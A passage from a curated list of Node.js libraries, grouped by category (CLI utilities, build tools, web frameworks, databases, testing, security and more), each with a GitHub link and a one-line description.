[signale](https://github.com/klauscfhq/signale) - Hackable console logger with beautiful output. ### Command-line utilities - [chalk](https://github.com/chalk/chalk) - Terminal string styling done right. - [meow](https://github.com/sindresorhus/meow) - CLI app helper. - [yargs](https://github.com/yargs/yargs) - Command-line parser that automatically generates an elegant user-interface. - [ora](https://github.com/sindresorhus/ora) - Elegant terminal spinner. - [get-stdin](https://github.com/sindresorhus/get-stdin) - Easier stdin. - [log-update](https://github.com/sindresorhus/log-update) - Log by overwriting the previous output in the terminal. Useful for rendering progress bars, animations, etc. - [Ink](https://github.com/vadimdemedes/ink) - React for interactive command-line apps. - [listr](https://github.com/samverschueren/listr) - Terminal task list. - [conf](https://github.com/sindresorhus/conf) - Simple config handling for your app or module. - [ansi-escapes](https://github.com/sindresorhus/ansi-escapes) - ANSI escape codes for manipulating the terminal. - [log-symbols](https://github.com/sindresorhus/log-symbols) - Colored symbols for various log levels. - [figures](https://github.com/sindresorhus/figures) - Unicode symbols with Windows CMD fallbacks. - [boxen](https://github.com/sindresorhus/boxen) - Create boxes in the terminal. - [terminal-link](https://github.com/sindresorhus/terminal-link) - Create clickable links in the terminal. - [terminal-image](https://github.com/sindresorhus/terminal-image) - Display images in the terminal. - [string-width](https://github.com/sindresorhus/string-width) - Get the visual width of a string - the number of columns required to display it. - [cli-truncate](https://github.com/sindresorhus/cli-truncate) - Truncate a string to a specific width in the terminal. - [first-run](https://github.com/sindresorhus/first-run) - Check if it's the first time the process is run. - [blessed](https://github.com/chjj/blessed) - Curses-like library. - [Inquirer.js](https://github.com/SBoudrias/Inquirer.js) - Interactive command-line prompt. - [yn](https://github.com/sindresorhus/yn) - Parse yes/no like values. - [cli-table3](https://github.com/cli-table/cli-table3) - Pretty unicode tables. - [drawille](https://github.com/madbence/node-drawille) - Draw on the terminal with unicode braille characters. - [update-notifier](https://github.com/yeoman/update-notifier) - Update notifications for your CLI app. - [ascii-charts](https://github.com/jstrace/chart) - ASCII bar chart in the terminal. - [progress](https://github.com/tj/node-progress) - Flexible ascii progress bar. - [insight](https://github.com/yeoman/insight) - Helps you understand how your tool is being used by anonymously reporting usage metrics to Google Analytics. - [cli-cursor](https://github.com/sindresorhus/cli-cursor) - Toggle the CLI cursor. - [columnify](https://github.com/timoxley/columnify) - Create text-based columns suitable for console output. Supports cell wrapping. - [cli-columns](https://github.com/shannonmoeller/cli-columns) - Columnated unicode and ansi-safe text lists. - [cfonts](https://github.com/dominikwilkowski/cfonts) - Sexy ASCII fonts for the console. - [multispinner](https://github.com/codekirei/node-multispinner) - Multiple, simultaneous, individually controllable CLI spinners. - [omelette](https://github.com/f/omelette) - Shell autocompletion helper. - [cross-env](https://github.com/kentcdodds/cross-env) - Set environment variables cross-platform. - [shelljs](https://github.com/shelljs/shelljs) - Portable Unix shell commands. - [sudo-block](https://github.com/sindresorhus/sudo-block) - Block users from running your app with root permissions. - [loud-rejection](https://github.com/sindresorhus/loud-rejection) - Make unhandled promise rejections fail loudly instead of the default silent fail. - [sparkly](https://github.com/sindresorhus/sparkly) - Generate sparklines `▁▂▃▅▂▇`. - [Bit](https://github.com/teambit/bit) - Create, maintain, find and use small modules and components across repositories. - [gradient-string](https://github.com/bokub/gradient-string) - Beautiful color gradients in terminal output. - [oclif](https://github.com/oclif/oclif) - CLI framework complete with parser, automatic documentation, testing, and plugins. - [term-size](https://github.com/sindresorhus/term-size) - Reliably get the terminal window size. - [Cliffy](https://github.com/drew-y/cliffy) - Framework for interactive CLIs. ### Build tools - [parcel](https://github.com/parcel-bundler/parcel) - Blazing fast, zero config web app bundler. - [webpack](https://github.com/webpack/webpack) - Packs modules and assets for the browser. - [rollup](https://github.com/rollup/rollup) - Next-generation ES2015 module bundler. - [gulp](https://github.com/gulpjs/gulp) - Streaming and fast build system that favors code over config. - [Broccoli](https://github.com/broccolijs/broccoli) - Fast, reliable asset pipeline, supporting constant-time rebuilds and compact build definitions. - [Brunch](https://github.com/brunch/brunch) - Front-end web app build tool with simple declarative config, fast incremental compilation, and an opinionated workflow. - [Start](https://github.com/deepsweet/start) - Functional task runner with shareable presets. - [ygor](https://github.com/shannonmoeller/ygor) - Promising task runner for when `npm run` isn't enough and everything else is too much. - [FuseBox](https://github.com/fuse-box/fuse-box) - Fast build system that combines the power of webpack, JSPM and SystemJS, with first-class TypeScript support. - [pkg](https://github.com/zeit/pkg) - Package your Node.js project into an executable. ### Hardware - [johnny-five](https://github.com/rwaldron/johnny-five) - Firmata based Arduino Framework. - [serialport](https://github.com/voodootikigod/node-serialport) - Access serial ports for reading and writing. - [usb](https://github.com/nonolith/node-usb) - USB library. - [i2c-bus](https://github.com/fivdi/i2c-bus) - I2C serial bus access. - [onoff](https://github.com/fivdi/onoff) - GPIO access and interrupt detection. - [spi-device](https://github.com/fivdi/spi-device) - SPI serial bus access. - [pigpio](https://github.com/fivdi/pigpio) - Fast GPIO, PWM, servo control, state change notification, and interrupt handling on the Raspberry Pi. - [gps](https://github.com/infusion/GPS.js) - NMEA parser for handling GPS receivers. ### Templating - [marko](https://github.com/marko-js/marko) - HTML-based templating engine that compiles templates to CommonJS modules and supports streaming, async rendering and custom tags. - [nunjucks](https://github.com/mozilla/nunjucks) - Templating engine with inheritance, asynchronous control, and more (jinja2 inspired). - [handlebars.js](https://github.com/wycats/handlebars.js) - Superset of Mustache templates which adds powerful features like helpers and more advanced blocks. - [EJS](https://github.com/mde/ejs) - Simple unopinionated templating language. - [Pug](https://github.com/pugjs/pug) - High-performance template engine heavily influenced by Haml. ### Web frameworks - [Hapi](https://github.com/hapijs/hapi) - Framework for building applications and services. - [Koa](https://github.com/koajs/koa) - Framework designed by the team behind Express, which aims to be a smaller, more expressive, and more robust foundation for web applications and APIs. - [Express](https://github.com/expressjs/express) - Web application framework, providing a robust set of features for building single and multi-page, and hybrid web applications. - [Feathers](https://github.com/feathersjs/feathers) - Microservice framework built in the spirit of Express. - [LoopBack](https://github.com/strongloop/loopback) - Powerful framework for creating REST APIs and easily connecting to backend data sources. - [Meteor](https://github.com/meteor/meteor) - An ultra-simple, database-everywhere, data-on-the-wire, pure-Javascript web framework. *(You might like [awesome-meteor](https://github.com/Urigo/awesome-meteor))* - [Restify](https://github.com/restify/node-restify) - Enables you to build correct REST web services. - [ThinkJS](https://github.com/thinkjs/thinkjs) - Framework with ES2015+ support, WebSockets, REST API. - [ActionHero](https://github.com/actionhero/actionhero) - Framework for making reusable & scalable APIs for TCP sockets, WebSockets, and HTTP clients. - [MERN](https://github.com/Hashnode/mern-cli) - Easily build production-ready universal apps with MongoDB, Express, React, and webpack. - [Next.js](https://github.com/zeit/next.js) - Minimalistic framework for server-rendered universal JavaScript web apps. - [Nuxt.js](https://github.com/nuxt/nuxt.js) - Minimalistic framework for server-rendered Vue.js apps. - [seneca](https://github.com/senecajs/seneca) - Toolkit for writing microservices. - [AdonisJs](http://adonisjs.com) - A true MVC framework for Node.js built on solid foundations of Dependency Injection and IoC container. - [Hemera](https://github.com/hemerajs/hemera) - Write reliable and fault-tolerant microservices with [NATS](https://nats.io). - [Micro](https://github.com/zeit/micro) - Minimalistic microservice framework with an async approach. - [Moleculer](https://moleculer.services) - Fast & powerful microservices framework. - [Fastify](https://github.com/fastify/fastify) - Fast and low overhead web framework. - [Nest](https://github.com/nestjs/nest) - Angular-inspired framework for building efficient and scalable server-side apps. - [Zeronode](https://github.com/sfast/zeronode) - Minimal building block for reliable and fault-tolerant microservices. - [TypeGraphQL](https://github.com/19majkel94/type-graphql) - Modern framework for creating GraphQL APIs with TypeScript, using classes and decorators. ### Documentation - [documentation.js](https://github.com/documentationjs/documentation) - API documentation generator with support for ES2015+ and flow annotation. - [ESDoc](https://github.com/esdoc/esdoc) - Documentation generator targeting ES2015, attaching test code and measuring documentation coverage. - [Docco](https://github.com/jashkenas/docco) - Documentation generator which produces an HTML document that displays your comments intermingled with your code. - [JSDoc](https://github.com/jsdoc3/jsdoc) - API documentation generator similar to JavaDoc or PHPDoc. ### Filesystem - [del](https://github.com/sindresorhus/del) - Delete files/folders using globs. - [globby](https://github.com/sindresorhus/globby) - Glob files with support for multiple patterns. - [cpy](https://github.com/sindresorhus/cpy) - Copy files. - [rimraf](https://github.com/isaacs/rimraf) - Recursively delete files like `rm -rf`. - [make-dir](https://github.com/sindresorhus/make-dir) - Recursively create directories like `mkdir -p`. - [graceful-fs](https://github.com/isaacs/node-graceful-fs) - Drop-in replacement for the `fs` module with various improvements. - [chokidar](https://github.com/paulmillr/chokidar) - Filesystem watcher which stabilizes events from `fs.watch` and `fs.watchFile` as well as using native `fsevents` on macOS. - [find-up](https://github.com/sindresorhus/find-up) - Find a file by walking up parent directories. - [proper-lockfile](https://github.com/IndigoUnited/node-proper-lockfile) - Inter-process and inter-machine lockfile utility. - [load-json-file](https://github.com/sindresorhus/load-json-file) - Read and parse a JSON file. - [write-json-file](https://github.com/sindresorhus/write-json-file) - Stringify and write JSON to a file atomically. - [fs-write-stream-atomic](https://github.com/npm/fs-write-stream-atomic) - Like `fs.createWriteStream()`, but atomic. - [filenamify](https://github.com/sindresorhus/filenamify) - Convert a string to a valid filename. - [lnfs](https://github.com/kevva/lnfs) - Force create symlinks like `ln -fs`. - [istextorbinary](https://github.com/bevry/istextorbinary) - Check if a file is text or binary. - [fs-jetpack](https://github.com/szwacz/fs-jetpack) - Completely redesigned file system API for convenience in everyday use. - [fs-extra](https://github.com/jprichardson/node-fs-extra) - Extra methods for the `fs` module. - [pkg-dir](https://github.com/sindresorhus/pkg-dir) - Find the root directory of an npm package. - [filehound](https://github.com/nspragg/filehound) - Flexible and fluent interface for searching the file system. - [move-file](https://github.com/sindresorhus/move-file) - Move a file, even works across devices. - [tempy](https://github.com/sindresorhus/tempy) - Get a random temporary file or directory path. ### Control flow - Promises - [Bluebird](https://github.com/petkaantonov/bluebird) - Promise library with focus on innovative features and performance. - [pify](https://github.com/sindresorhus/pify) - Promisify a callback-style function. - [delay](https://github.com/sindresorhus/delay) - Delay a promise a specified amount of time. - [promise-memoize](https://github.com/nodeca/promise-memoize) - Memoize promise-returning functions, with expire and prefetch. - [valvelet](https://github.com/lpinca/valvelet) - Limit the execution rate of a promise-returning function. - [p-map](https://github.com/sindresorhus/p-map) - Map over promises concurrently. - [More…](https://github.com/sindresorhus/promise-fun) - Observables - [zen-observable](https://github.com/zenparsing/zen-observable) - Implementation of Observables. - [RxJS](https://github.com/ReactiveX/RxJS) - Reactive programming. - [observable-to-promise](https://github.com/sindresorhus/awesome-observables) - Convert an Observable to a Promise. - [More…](https://github.com/sindresorhus/awesome-observables) - Streams - [Highland.js](https://github.com/caolan/highland) - Manages synchronous and asynchronous code easily, using nothing more than standard JavaScript and Node-like Streams. - Callbacks - [each-async](https://github.com/sindresorhus/each-async) - Async concurrent iterator like forEach. - [async](https://github.com/caolan/async) - Provides straight-forward, powerful functions for working with asynchronicity. - Channels - [js-csp](https://github.com/ubolonton/js-csp) - Communicating sequential processes for JavaScript (like Clojurescript core.async, or Go). ### Streams - [through2](https://github.com/rvagg/through2) - Tiny wrapper around streams2 Transform to avoid explicit subclassing noise. - [from2](https://github.com/hughsk/from2) - Convenience wrapper for ReadableStream, inspired by `through2`. - [get-stream](https://github.com/sindresorhus/get-stream) - Get a stream as a string or buffer. - [into-stream](https://github.com/sindresorhus/into-stream) - Convert a buffer/string/array/object into a stream. - [duplexify](https://github.com/mafintosh/duplexify) - Turn a writeable and readable stream into a single streams2 duplex stream. - [pumpify](https://github.com/mafintosh/pumpify) - Combine an array of streams into a single duplex stream. - [peek-stream](https://github.com/mafintosh/peek-stream) - Transform stream that lets you peek the first line before deciding how to parse it. - [binary-split](https://github.com/maxogden/binary-split) - Newline (or any delimiter) splitter stream. - [byline](https://github.com/jahewson/node-byline) - Super-simple line-by-line Stream reader. - [first-chunk-stream](https://github.com/sindresorhus/first-chunk-stream) - Transform the first chunk in a stream. - [pad-stream](https://github.com/sindresorhus/pad-stream) - Pad each line in a stream. - [multistream](https://github.com/feross/multistream) - Combine multiple streams into a single stream. - [stream-combiner2](https://github.com/substack/stream-combiner2) - Turn a pipeline into a single stream. - [readable-stream](https://github.com/nodejs/readable-stream) - Mirror of Streams2 and Streams3 implementations in core. - [through2-concurrent](https://github.com/almost/through2-concurrent) - Transform object streams concurrently. ### Real-time - [µWebSockets](https://github.com/uWebSockets/uWebSockets) - Highly scalable WebSocket server & client library. - [Socket.io](https://github.com/socketio/socket.io) - Enables real-time bidirectional event-based communication. - [Faye](https://github.com/faye/faye) - Real-time client-server message bus, based on Bayeux protocol. - [SocketCluster](https://github.com/SocketCluster/socketcluster) - Scalable HTTP + WebSocket engine which can run on multiple CPU cores. - [Primus](https://github.com/primus/primus) - An abstraction layer for real-time frameworks to prevent module lock-in. - [deepstream.io](https://github.com/deepstreamIO/deepstream.io-client-js) - Scalable real-time microservice framework. - [Kalm](https://github.com/kalm/kalm.js) - Low-level socket router and middleware framework. - [MQTT.js](https://github.com/mqttjs/MQTT.js) - Client for MQTT - Pub-sub based messaging protocol for use on top of TCP/IP. - [rpc-websockets](https://github.com/elpheria/rpc-websockets) - JSON-RPC 2.0 implementation over WebSockets. - [Aedes](https://github.com/mcollina/aedes) - Barebone MQTT server that can run on any stream server. ### Image - [sharp](https://github.com/lovell/sharp) - The fastest module for resizing JPEG, PNG, WebP and TIFF images. - [image-type](https://github.com/sindresorhus/image-type) - Detect the image type of a Buffer/Uint8Array. - [gm](https://github.com/aheckmann/gm) - GraphicsMagick and ImageMagick wrapper. - [lwip](https://github.com/EyalAr/lwip) - Lightweight image processor which does not require ImageMagick. - [pica](https://github.com/nodeca/pica) - High quality & fast resize (lanczos3) in pure JS. Alternative to canvas drawImage(), when no pixelation allowed. - [jimp](https://github.com/oliver-moran/jimp) - Image processing in pure JavaScript. - [probe-image-size](https://github.com/nodeca/probe-image-size) - Get the size of most image formats without a full download. ### Text - [iconv-lite](https://github.com/ashtuchkin/iconv-lite) - Convert character encodings. - [string-length](https://github.com/sindresorhus/string-length) - Get the real length of a string - by correctly counting astral symbols and ignoring ansi escape codes. - [camelcase](https://github.com/sindresorhus/camelcase) - Convert a dash/dot/underscore/space separated string to camelCase: foo-bar → fooBar. - [escape-string-regexp](https://github.com/sindresorhus/escape-string-regexp) - Escape RegExp special characters. - [execall](https://github.com/sindresorhus/execall) - Find multiple RegExp matches in a string. - [splice-string](https://github.com/sindresorhus/splice-string) - Remove or replace part of a string like `Array#splice`. - [indent-string](https://github.com/sindresorhus/indent-string) - Indent each line in a string. - [strip-indent](https://github.com/sindresorhus/strip-indent) - Strip leading whitespace from every line in a string. - [detect-indent](https://github.com/sindresorhus/detect-indent) - Detect the indentation of code. - [he](https://github.com/mathiasbynens/he) - HTML entity encoder/decoder. - [i18n-node](https://github.com/mashpie/i18n-node) - Simple translation module with dynamic JSON storage. - [babelfish](https://github.com/nodeca/babelfish) - i18n with very easy syntax for plurals. - [matcher](https://github.com/sindresorhus/matcher) - Simple wildcard matching. - [unhomoglyph](https://github.com/nodeca/unhomoglyph) - Normalize visually similar unicode characters. - [i18next](https://github.com/i18next/i18next) - Internationalization framework. ### Number - [random-int](https://github.com/sindresorhus/random-int) - Generate a random integer. - [random-float](https://github.com/sindresorhus/random-float) - Generate a random float. - [unique-random](https://github.com/sindresorhus/unique-random) - Generate random numbers that are consecutively unique. - [round-to](https://github.com/sindresorhus/round-to) - Round a number to a specific number of decimal places: `1.234` → `1.2`. ### Math - [ndarray](https://github.com/scijs/ndarray) - Multidimensional arrays. - [mathjs](https://github.com/josdejong/mathjs) - An extensive math library. - [math-clamp](https://github.com/sindresorhus/math-clamp) - Clamp a number. - [algebra](https://github.com/fibo/algebra) - Algebraic structures. - [multimath](https://github.com/nodeca/multimath) - Core to create fast image math in WebAssembly and JS. ### Date - [Luxon](https://github.com/moment/luxon) - Library for working with dates and times. - [date-fns](https://github.com/date-fns/date-fns) - Modern date utility. - [Moment.js](http://momentjs.com) - Parse, validate, manipulate, and display dates. - [Day.js](https://github.com/iamkun/dayjs) - Immutable date library alternative to Moment.js. - [dateformat](https://github.com/felixge/node-dateformat) - Date formatting. - [tz-format](https://github.com/samverschueren/tz-format) - Format a date with timezone: `2015-11-30T10:40:35+01:00`. - [cctz](https://github.com/floatdrop/node-cctz) - Fast parsing, formatting, and timezone conversation for dates. ### URL - [normalize-url](https://github.com/sindresorhus/normalize-url) - Normalize a URL. - [humanize-url](https://github.com/sindresorhus/humanize-url) - Humanize a URL: http://sindresorhus.com → sindresorhus.com. - [url-unshort](https://github.com/nodeca/url-unshort) - Expand shortened URLs. - [speakingurl](https://github.com/pid/speakingurl) - Generate a slug from a string with transliteration. - [linkify-it](https://github.com/markdown-it/linkify-it) - Link patterns detector with full unicode support. - [url-pattern](https://github.com/snd/url-pattern) - Easier than regex string matching patterns for URLs and other strings. - [embedza](https://github.com/nodeca/embedza) - Create HTML snippets/embeds from URLs using info from oEmbed, Open Graph, meta tags. ### Data validation - [joi](https://github.com/hapijs/joi) - Object schema description language and validator for JavaScript objects. - [is-my-json-valid](https://github.com/mafintosh/is-my-json-valid) - JSON Schema validator that uses code generation to be extremely fast. - [property-validator](https://github.com/nettofarah/property-validator) - Easy property validation for Express. - [schema-inspector](https://github.com/Atinux/schema-inspector) - JSON API sanitization and validation. - [ajv](https://github.com/epoberezkin/ajv) - The fastest JSON Schema validator. Supports v5 proposals. ### Parsing - [remark](https://github.com/wooorm/remark) - Markdown processor powered by plugins. - [markdown-it](https://github.com/markdown-it/markdown-it) - Markdown parser with 100% CommonMark support, extensions and syntax plugins. - [parse5](https://github.com/inikulin/parse5) - Fast full-featured spec compliant HTML parser. - [strip-json-comments](https://github.com/sindresorhus/strip-json-comments) - Strip comments from JSON. - [strip-css-comments](https://github.com/sindresorhus/strip-css-comments) - Strip comments from CSS. - [parse-json](https://github.com/sindresorhus/parse-json) - Parse JSON with more helpful errors. - [URI.js](https://github.com/medialize/URI.js) - URL mutation. - [PostCSS](https://github.com/postcss/postcss) - CSS parser / stringifier. - [JSONStream](https://github.com/dominictarr/JSONStream) - Streaming JSON.parse and stringify. - [neat-csv](https://github.com/sindresorhus/neat-csv) - Fast CSV parser. Callback interface for the above. - [csv-parser](https://github.com/mafintosh/csv-parser) - Streaming CSV parser that aims to be faster than everyone else. - [PEG.js](https://github.com/pegjs/pegjs) - Simple parser generator that produces fast parsers with excellent error reporting. - [x-ray](https://github.com/lapwinglabs/x-ray) - Web scraping utility. - [nearley](https://github.com/Hardmath123/nearley) - Simple, fast, powerful parsing for JavaScript. - [binary-extract](https://github.com/juliangruber/binary-extract) - Extract a value from a buffer of JSON without parsing the whole thing. - [Stylecow](https://github.com/stylecow/stylecow) - Parse, manipulate and convert modern CSS to make it compatible with all browsers. Extensible with plugins. - [js-yaml](https://github.com/nodeca/js-yaml) - Very fast YAML parser. - [xml2js](https://github.com/Leonidas-from-XIV/node-xml2js) - XML to JavaScript object converter. - [Jison](https://github.com/zaach/jison) - Friendly JavaScript parser generator. It shares genes with Bison, Yacc and family. - [google-libphonenumber](https://github.com/seegno/google-libphonenumber) - Parse, format, store and validate phone numbers. - [ref](https://github.com/TooTallNate/ref) - Read/write structured binary data in Buffers. - [xlsx-populate](https://github.com/dtjohnson/xlsx-populate) - Read/write Excel XLSX. - [Chevrotain](https://github.com/SAP/chevrotain) - Very fast and feature rich parser building toolkit for JavaScript. - [fast-xml-parser](https://github.com/NaturalIntelligence/fast-xml-parser) - Validate and parse XML. ### Humanize - [pretty-bytes](https://github.com/sindresorhus/pretty-bytes) - Convert bytes to a human readable string: `1337` → `1.34 kB`. - [pretty-ms](https://github.com/sindresorhus/pretty-ms) - Convert milliseconds to a human readable string: `1337000000` → `15d 11h 23m 20s`. - [ms](https://github.com/rauchg/ms.js) - Tiny millisecond conversion utility. - [pretty-error](https://github.com/AriaMinaei/pretty-error) - Errors with less clutter. - [read-art](https://github.com/Tjatse/node-readability) - Extract readable content from any page. ### Compression - [yazl](https://github.com/thejoshwolfe/yazl) - Zip. - [yauzl](https://github.com/thejoshwolfe/yauzl) - Unzip. - [Archiver](https://github.com/archiverjs/node-archiver) - Streaming interface for archive generation, supporting ZIP and TAR. - [pako](https://github.com/nodeca/pako) - High speed zlib port to pure js (deflate, inflate, gzip). - [tar-stream](https://github.com/mafintosh/tar-stream) - Streaming tar parser and generator. Also see [tar-fs](https://github.com/mafintosh/tar-fs). - [decompress](https://github.com/kevva/decompress) - Decompression module with support for `tar`, `tar.gz` and `zip` files out of the box. ### Network - [get-port](https://github.com/sindresorhus/get-port) - Get an available port. - [ipify](https://github.com/sindresorhus/ipify) - Get your public IP address. - [getmac](https://github.com/bevry/getmac) - Get the computer MAC address. - [DHCP](https://github.com/infusion/node-dhcp) - DHCP client and server. - [netcat](https://github.com/roccomuso/netcat) - Netcat port in pure JS. ### Database - Drivers - [PostgreSQL](https://github.com/brianc/node-postgres) - PostgreSQL client. Pure JavaScript and native libpq bindings. - [Redis](https://github.com/luin/ioredis) - Redis client. - [LevelUP](https://github.com/Level/levelup) - LevelDB. - [MySQL](https://github.com/mysqljs/mysql) - MySQL client. - [couchdb-nano](https://github.com/apache/couchdb-nano) - CouchDB client. - [Aerospike](https://github.com/aerospike/aerospike-client-nodejs) - Aerospike client. - [Couchbase](https://github.com/couchbase/couchnode) - Couchbase client. - [MongoDB](https://github.com/mongodb/node-mongodb-native) - MongoDB driver. - ODM / ORM - [Sequelize](https://github.com/sequelize/sequelize) - Multi-dialect ORM. Supports PostgreSQL, SQLite, MySQL. - [Bookshelf](https://github.com/bookshelf/bookshelf) - ORM for PostgreSQL, MySQL and SQLite3 in the style of Backbone.js. - [Massive](https://github.com/robconery/massive-js) - PostgreSQL data access tool. - [Mongoose](https://github.com/Automattic/mongoose) - Elegant MongoDB object modeling. - [Waterline](https://github.com/balderdashy/waterline) - Datastore-agnostic tool that dramatically simplifies interaction with one or more databases. - [OpenRecord](https://github.com/PhilWaldmann/openrecord) - ORM for PostgreSQL, MySQL, SQLite3 and RESTful datastores. Similar to ActiveRecord. - [pg-promise](https://github.com/vitaly-t/pg-promise) - PostgreSQL framework for native SQL using promises. - [slonik](https://github.com/gajus/slonik) - PostgreSQL client with strict types, detailed logging and assertions. - [Objection.js](https://github.com/Vincit/objection.js) - Lightweight ORM built on the SQL query builder Knex. - [TypeORM](https://github.com/typeorm/typeorm) - ORM for PostgreSQL, MariaDB, MySQL, SQLite, and more. - Query builder - [Knex](https://github.com/tgriesser/knex) - Query builder for PostgreSQL, MySQL and SQLite3, designed to be flexible, portable, and fun to use. - Other - [NeDB](https://github.com/louischatriot/nedb) - Embedded persistent database written in JavaScript. - [Lowdb](https://github.com/typicode/lowdb) - Small JavaScript database powered by Lodash. - [Keyv](https://github.com/lukechilds/keyv) - Simple key-value storage with support for multiple backends. - [Finale](https://github.com/tommybananas/finale) - RESTful endpoint generator for your Sequelize models. - [database-js](https://github.com/mlaanderson/database-js) - Wrapper for multiple databases with a JDBC-like connection. - [Mongo Seeding](https://github.com/pkosiec/mongo-seeding) - Populate MongoDB databases with JavaScript and JSON files. ### Testing - [AVA](https://github.com/avajs/ava) - Futuristic test runner. - [Mocha](https://github.com/mochajs/mocha) - Feature-rich test framework making asynchronous testing simple and fun. - [nyc](https://github.com/bcoe/nyc) - Code coverage tool built on istanbul that works with subprocesses. - [tap](https://github.com/isaacs/node-tap) - TAP test framework. - [tape](https://github.com/substack/tape) - TAP-producing test harness. - [power-assert](https://github.com/power-assert-js/power-assert) - Provides descriptive assertion messages through the standard assert interface. - [Mochify](https://github.com/mantoni/mochify.js) - TDD with Browserify, Mocha, PhantomJS and WebDriver. - [trevor](https://github.com/vdemedes/trevor) - Run tests against multiple versions of Node.js without switching versions manually or pushing to Travis CI. - [loadtest](https://github.com/alexfernandez/loadtest) - Run load tests for your web application, with an API for automation. - [Sinon.JS](https://github.com/sinonjs/sinon) - Test spies, stubs and mocks. - [navit](https://github.com/nodeca/navit) - PhantomJS / SlimerJS wrapper to simplify browser test scripting. - [Nock](https://github.com/pgte/nock) - HTTP mocking and expectations. - [intern](https://github.com/theintern/intern) - Code testing stack. - [toxy](https://github.com/h2non/toxy) - Hackable HTTP proxy to simulate failure scenarios and network conditions. - [hook-std](https://github.com/sindresorhus/hook-std) - Hook and modify stdout/stderr. - [testen](https://github.com/egoist/testen) - Run tests for multiple versions of Node.js locally with NVM. - [Nightwatch](https://github.com/nightwatchjs/nightwatch) - Automated UI testing framework based on Selenium WebDriver. - [WebdriverIO](https://github.com/webdriverio/webdriverio) - Automated testing based on the WebDriver protocol. - [Jest](https://github.com/facebook/jest) - Painless JavaScript testing. - [TestCafe](https://github.com/DevExpress/testcafe) - Automated browser testing. - [abstruse](https://github.com/bleenco/abstruse) - Continuous Integration server. - [CodeceptJS](https://github.com/Codeception/CodeceptJS) - End-to-end testing. ### Security - [upash](https://github.com/simonepri/upash) - Unified API for all password hashing algorithms. - [themis](https://github.com/cossacklabs/themis) - Multilanguage framework for making typical encryption schemes easy to use: data at rest, authenticated data exchange, transport protection, authentication, and so on. - [GuardRails](https://github.com/apps/guardrails) - GitHub app that provides security feedback in pull requests. - [rate-limiter-flexible](https://github.com/animir/node-rate-limiter-flexible) - Brute-force and DDoS attack protection. - [crypto-hash](https://github.com/sindresorhus/crypto-hash) - Async non-blocking hashing. ### Benchmarking - [Benchmark.js](https://github.com/bestiejs/benchmark.js) - Benchmarking library that supports high-resolution timers and returns statistically significant results. - [matcha](https://github.com/logicalparadox/matcha) - Simplistic approach to benchmarking. ### Minifiers - [babili](https://github.com/babel/babili) - ES2015+ aware minifier based on the Babel toolchain. - [UglifyJS2](https://github.com/mishoo/UglifyJS2) - JavaScript minifier. - [clean-css](https://github.com/jakubpawlowicz/clean-css) - CSS minifier. - [minimize](https://github.com/Swaagie/minimize) - HTML minifier. - [imagemin](https://github.com/imagemin/imagemin) - Image minifier. ### Authentication - [Passport](https://github.com/jaredhanson/passport) - Simple, unobtrusive authentication. - [Grant](https://github.com/simov/grant) - OAuth middleware for Express, Koa, and Hapi. - [CloudRail](https://github.com/CloudRail/cloudrail-si-node-sdk) - Unified API for social authentication (Facebook, Twitter, Slack, Instagram, …). ### Authorization - [CASL](https://github.com/stalniy/casl) - Isomorphic authorization for UI and API. - [node-casbin](https://github.com/casbin/node-casbin) - Authorization library that supports access control models like ACL, RBAC and ABAC. ### Email - [Nodemailer](https://github.com/andris9/Nodemailer) - The fastest way to handle email. - [emailjs](https://github.com/eleith/emailjs) - Send text/HTML emails with attachments to any SMTP server. - [email-templates](https://github.com/niftylettuce/email-templates) - Create, preview, and send custom email templates. ### Job queues - [kue](https://github.com/Automattic/kue) - Redis-backed priority job queue. - [bull](https://github.com/OptimalBits/bull) - Persistent job and message queue. - [agenda](https://github.com/rschmukler/agenda) - MongoDB-backed job scheduling. - [idoit](https://github.com/nodeca/idoit) - Redis-backed job queue engine with advanced job control. - [node-resque](https://github.com/taskrabbit/node-resque) - Redis-backed job queue. - [rsmq](https://github.com/smrchy/rsmq) - Redis-backed message queue. - [bee-queue](https://github.com/bee-queue/bee-queue) - High-performance Redis-backed job queue. - [RedisSMQ](https://github.com/weyoss/redis-smq) - Simple high-performance Redis message queue with real-time monitoring. - [sqs-consumer](https://github.com/bbc/sqs-consumer) - Build Amazon Simple Queue Service (SQS) based apps without the boilerplate. ### Node.js management - [n](https://github.com/tj/n) - Node.js version management. - [nave](https://github.com/isaacs/nave) - Virtual Environments for Node.js. - [nodeenv](https://github.com/ekalinin/nodeenv) - Node.js virtual environment compatible to Python's virtualenv. - [nvm for Windows](https://github.com/coreybutler/nvm-windows) - Version management for Windows. ### Natural language processing - [retext](https://github.com/wooorm/retext) - An extensible natural language system. - [franc](https://github.com/wooorm/franc) - Detect the language of text. - [leven](https://github.com/sindresorhus/leven) - Measure the difference between two strings using the Levenshtein distance algorithm. - [natural](https://github.com/NaturalNode/natural) - Natural language facility. - [nlp.js](https://github.com/axa-group/nlp.js) - Building bots, with entity extraction, sentiment analysis, automatic language identify, and more. ### Process management - [PM2](https://github.com/Unitech/pm2) - Advanced Process Manager. - [nodemon](https://github.com/remy/nodemon) - Monitor for changes in your app and automatically restart the server. - [node-mac](https://github.com/coreybutler/node-mac) - Run scripts as a native Mac daemon and log to the console app. - [node-linux](https://github.com/coreybutler/node-linux) - Run scripts as native system service and log to syslog. - [node-windows](https://github.com/coreybutler/node-windows) - Run scripts as a native Windows service and log to the Event viewer. - [supervisor](https://github.com/petruisfan/node-supervisor) - Restart scripts when they crash or restart when a `*.js` file changes. - [Phusion Passenger](https://github.com/phusion/passenger) - Friendly process manager that integrates directly into Nginx. ### Automation - [robotjs](https://github.com/octalmage/robotjs) - Desktop Automation: control the mouse, keyboard and read the screen. ### AST - [Acorn](https://github.com/ternjs/acorn) - Tiny, fast JavaScript parser. - [babel-parser](https://github.com/babel/babel/tree/master/packages/babel-parser) - JavaScript parser used in Babel. - [cherow](https://github.com/cherow/cherow) - JavaScript parser with focus on performance and stability. ### Static site generators - [Wintersmith](https://github.com/jnordberg/wintersmith) - Flexible, minimalistic, multi-platform static site generator. - [Assemble](https://github.com/assemble/assemble/) - Static site generator for Node.js, Grunt.js, and Yeoman. - [DocPad](https://github.com/docpad/docpad) - Static site generator with dynamic abilities and huge plugin ecosystem. - [Phenomic](https://github.com/phenomic/phenomic) - Modern static website generator based on the React and Webpack ecosystem. - [docsify](https://github.com/QingWei-Li/docsify) - Markdown documentation site generator with no statically built HTML files. ### Content management systems - [KeystoneJS](https://github.com/keystonejs/keystone) - CMS and web application platform built on Express and MongoDB. - [ApostropheCMS](https://github.com/apostrophecms/apostrophe) - Content management system with an emphasis on intuitive front end content editing and administration built on Express and MongoDB. - 